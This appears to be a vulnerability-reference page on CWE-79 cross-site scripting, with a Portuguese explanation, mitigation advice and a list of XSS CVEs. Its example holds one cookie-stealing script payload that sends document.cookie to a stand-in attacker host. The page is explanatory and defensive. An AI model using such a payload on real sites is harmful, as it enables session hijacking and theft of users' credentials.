Fallos del tipo CWE-79

30.666 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2020-9740CRITICALStored XSS in AEM Design Importer ComponentEPSS 1.9%CVE-2020-9734CRITICALStored XSS in AEM Forms componentEPSS 1.9%CVE-2023-29347HIGHWindows Admin Center Spoofing VulnerabilityEPSS 1.9%CVE-2022-0963MEDIUMUnrestricted XML Files Leads to Stored XSS in microweber/microweberEPSS 1.9%CVE-2022-1221—Gwyn's Imagemap Selector <= 0.3.3 - Reflected Cross-Site ScriptingEPSS 1.9%CVE-2021-24228—Patreon WordPress < 1.7.2 - Reflected XSS on Login FormEPSS 1.9%CVE-2022-1007—Advanced Booking Calendar < 1.7.1 - Reflected Cross-Site ScriptingEPSS 1.9%CVE-2020-8262—A vulnerability in the Pulse Connect Secure / Pulse Policy Secure below 9.1R9 could allow attackers to conduct Cross-Site Scripting (XSS) anEPSS 1.8%CVE-2021-25016—Chaty < 2.8.3 - Reflected Cross-Site ScriptingEPSS 1.8%CVE-2020-9742CRITICALReflected XSS in AEM Inbox moduleEPSS 1.8%CVE-2021-3831HIGHCross-site Scripting (XSS) - Reflected in gnuboard/gnuboard5EPSS 1.8%CVE-2023-27898CRITICALJenkins 2.270 through 2.393 (both inclusive), LTS 2.277.1 through 2.375.3 (both inclusive) does not escape the Jenkins version a plugin depeEPSS 1.8%CVE-2018-0251—A vulnerability in the Web Server Authentication Required screen of the Clientless Secure Sockets Layer (SSL) VPN portal of Cisco Adaptive SEPSS 1.8%CVE-2022-1937—Awin Data Feed < 1.8 - Reflected Cross-Site ScriptingEPSS 1.8%CVE-2021-4285LOWNagios NCPA tail.html cross site scriptingEPSS 1.8%CVE-2022-48178MEDIUMX2CRM Open Source Sales CRM 6.6 and 6.9 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Create Action fuEPSS 1.8%CVE-2022-48177MEDIUMX2CRM Open Source Sales CRM 6.6 and 6.9 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the adin/importMoEPSS 1.8%CVE-2021-24436—W3 Total Cache < 2.1.4 - Reflected XSS in Extensions Page (Attribute Context)EPSS 1.8%CVE-2024-4348MEDIUMosCommerce all-products cross site scriptingEPSS 1.8%CVE-2020-0924MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.8%